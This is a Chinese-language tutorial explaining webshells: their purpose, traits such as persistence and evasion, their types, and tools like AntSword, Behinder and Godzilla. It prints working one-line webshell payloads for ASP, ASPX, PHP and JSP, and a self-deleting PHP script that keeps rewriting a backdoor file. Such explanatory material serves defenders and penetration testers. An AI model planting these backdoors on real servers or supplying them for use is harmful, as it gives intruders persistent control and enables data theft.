WebShell基础详解(特点、原理、分类、工具)
一、WebShell简介
Webshell就是以asp
、php
、jsp
或cgi
等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。
“web”的含义是显然 需要服务器开放web服务,“shell”的含义是 取得对服务器某种程度上操作权限。
webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。
由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。
黑客在入侵了一个网站后,通常会将asp或php后门文件与网站目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。步骤简写如下:
入侵网站
将ASP或PHP等后门文件混入正常网页文件
通过网页访问后门文件
得到命令执行环境
控制网站服务器
Shell文件可从服务器那边接收数据并执行、返回结果;也就是说我们只要把 shell 文件上传到目标服务器,就能操控服务器了。
利用Webshell可以在Web服务器上执行系统命令、窃取数据、植入病毒、Le索核心数据、SEO挂马等恶意操作,危害极大。
对于网站管理员来说,shell 文件也可以用于 网站管理、服务器管理、数据库管理 等。根据FSO权限的不同,作用有在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令等。
二、WebShell特点
黑客使用Webshell的第一步通常是将其上传到可以访问的服务器中,
例如利用用户CMS系统的第三方插件中的漏洞上传一个简单的php Webshell。
当然,Webshell类型和作用也不完全相同,
一些简单的Webshell只起到连接外界的作用,允许黑客插入更加精准的恶意脚本,执行他们所需要的指令;
另外一些则可能更加复杂,带有数据库或文件浏览器,让黑客能够从数千英里之外的地方查看入侵系统的代码和数据。
无论何种设计,Webshell都极其危险,是网络罪犯和高级持续威胁(APT)的常用工具。
Webshell常见的攻击特点主要有以下几点:
1、持久化远程访问
Webshell脚本通常会包含后门,黑客上传Webshell之后,就可以充分利用Webshell的后门实现远程访问并控制服务器,从而达到长期控制网站服务器的目的。此外,在上传完Webshell之后,黑客会选择自己修复漏洞,以确保没有其他人会利用该漏洞。通过这种方式,黑客就可以一种低调的姿态,避免与管理员进行任何交互,同时仍然获得相同的结果。
2、提权
在服务器没有配置错误的情况下,Webshell将在web服务器的用户权限下运行,而用户权限是有限的。通过Webshell,黑客可以利用系统上的本地漏洞来实现权限提升,从而获得Root权限,这样黑客基本上可以在系统上做任何事情,包括安装软件、更改权限、添加和删除用户、窃取密码、阅读电子邮件等等。
3、隐蔽性极强
Webshell可以嵌套在正常网页中运行,且不容易被查杀。它还可以穿越服务器防火墙,由于与被控制的服务器或远程主机交互的数据都是通过80端口传递,因此不会被防火墙拦截,在没有记录流量的情况下,Webshell使用post包发送,也不会被记录在系统日志中,只会在Web日志中记录一些数据提交的记录。
三、WebShell分类
Webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,JSP脚本木马,也有基于.NET的脚本木马。根据时代和技术的变迁,也有用python和lua编写的脚本木马,常用有如下几种:
大马
体积大,功能全;会调用系统关键函数;以代码加密进行隐藏
小马
体积小,功能少;一般只有一个上传功能,用于上传大马
一句话木马
代码短;使用场景大,可单独生成文件,可插入文件;安全性高,隐藏性强,可变形免杀;框架不变,数据执行,数据传递;
使用客户端管理webshell,省去使用命令行以及各种参数配置,可以使用中国蚁剑图形化操作webshell
打包马
主要用于打包网站源码
拖库马
主要用于导出网站数据库
内存马
无文件落地;极难检测和发现;难以清除
注:本文之后所讲的WebShell就是指一句话木马
四、WebShell原理
Webshell的恶意性表现在它的实现功能上,是一段带有恶意目的的正常脚本代码。
不同脚本类型的一句话木马:
<%eval request("cmd")%>
<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>
<?php @eval($_POST['cmd']); ?>
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
PHP一句话木马核心步骤如下:
1、数据传递
$_GET、$_POST、$_COOKIES、$_REQUEST、$_FILE、$_SERVER
从远程远程URL中获取数据: file_get_contents
、curl
、svn_checkout
…
(将需要执行的指令数据放在远程URL中,通过URL_INCLUDE
来读取)
从本地磁盘文件中获取数据: file
、file_get_contents
…
(将需要执行的指令数据放在本地磁盘文件中,利用IO函数来读取)
从数据库中读取(将需要执行的指令放在数据库中,利用数据库函数来读取)
从图片头部中获取: exif_read_data
…(将需要执行的指令数据放在图片头部中,利用图片操作函数来读取)
2、代码执行
将用户传输的数据进行执行
代码执行函数:eval
、assert
、system
…执行(这是最普通、标准的代码执行)
LFI(本地文件包含):include
、require
…(利用浏览器的伪协议将文件包含转化为代码执行)
动态函数执行:($()
…PHP的动态函数特性)
Curly Syntax:(${${…}}
…它将执行花括号间的代码,并将结果替换回去。这种思路可以把变量赋值的漏洞转化为代码执行的机会)
五、内存马
这里以PHP的脚本木马为主。
内存马是无文件攻击的一种常用手段,随着攻防演练热度越来越高:攻防双方的博弈,流量分析、EDR等专业安全设备被蓝方广泛使用,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,内存马使用越来越多。
Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。
PHP内存马,也叫做PHP不死马、不死僵尸,在线下AWD中是常用手段之一。
在蚁剑中也有专门的插件可以一键注入内存马。
原理也很简单,相对于Java可以直接把整个shell写入内存,php内存马的实现则是将一个木马反复写入,达到无法删除的目的。
<?php
ignore_user_abort(true); //设置客户端断开连接时是否中断脚本的执行
set_time_limit(0); //设置脚本最大执行时间,linux下可能不大好用
unlink(__FILE__); //删除自身
$file = 'shell.php';
$code = '<?php @eval($_POST["cmd"]);?>';
while (1) {
file_put_contents($file, $code);//恶意代码
usleep(5000); //延迟执行可有可无
}
?>
本质上原理是不变大,执行死循环,然后删除自身。但实际上这样做还是会有文件落地,只是管理员删不掉、删不完罢了。
我们也可以用利用fastcgi对php攻击执行命令,但这样是否算一个驻留wenshell还有待争议。
六、WebShell管理工具
中国菜刀(Chopper)
中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理!在非简体中文环境下使用,自动切换到英文界面。UNICODE方式编译,支持多国语言输入显示。
官方网站:http://www.maicaidao.com/
中国蚁剑(AntSword)
中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。是一款非常优秀的webshell管理工具。使用编/解码器进行流量混淆可绕过WAF,并且有多款实用插件。
因为菜刀也许有后门(偷shell),不放心可以用蚁剑,蚁剑还可以看源码,功能也比菜刀强些。
项目地址:
https://github.com/AntSwordProject/antSword
冰蝎(Behinder)
冰蝎是一款基于Java开发的动态二进制加密通信流量的新型Webshell客户端,由于它的通信流量被加密,使用传统的WAF、IDS等设备难以检测,目前在HW中使用较多的一款工具。下载下来的文件夹server 里的都是木马。
功能介绍原文链接:
《利用动态二进制加密实现新型一句话木马之客户端篇》 https://xz.aliyun.com/t/2799
工作原理原文链接:
《利用动态二进制加密实现新型一句话木马之Java篇》 https://xz.aliyun.com/t/2744
《利用动态二进制加密实现新型一句话木马之.NET篇》 https://xz.aliyun.com/t/2758
《利用动态二进制加密实现新型一句话木马之PHP篇》 https://xz.aliyun.com/t/2774
项目地址:
http://github.com/rebeyond/Behinder
哥斯拉(Godzilla)
哥斯拉是一款继冰蝎之后又一款于Java开发的加密通信流量的新型Webshell客户端,内置了3种有效载荷以及6种加密器,6种支持脚本后缀,20个内置插件,也是目前在HVV中使用较多的一款工具。
项目地址:https://github.com/BeichenDream/Godzilla
weevely
weevely 是 Linux 系统自带的菜刀,使用python编写的webshell工具,集webshell生成和连接于一身,采用c/s模式构建,可以算作一款 php菜刀 替代工具,具有很好的隐蔽性。
在linux上使用时还是很好的,集服务器错误配置审计,后门放置,暴力破解,文件管理,资源搜索,网络代理,命令执行,数据库操作,系统信息收集及端口扫描等功能。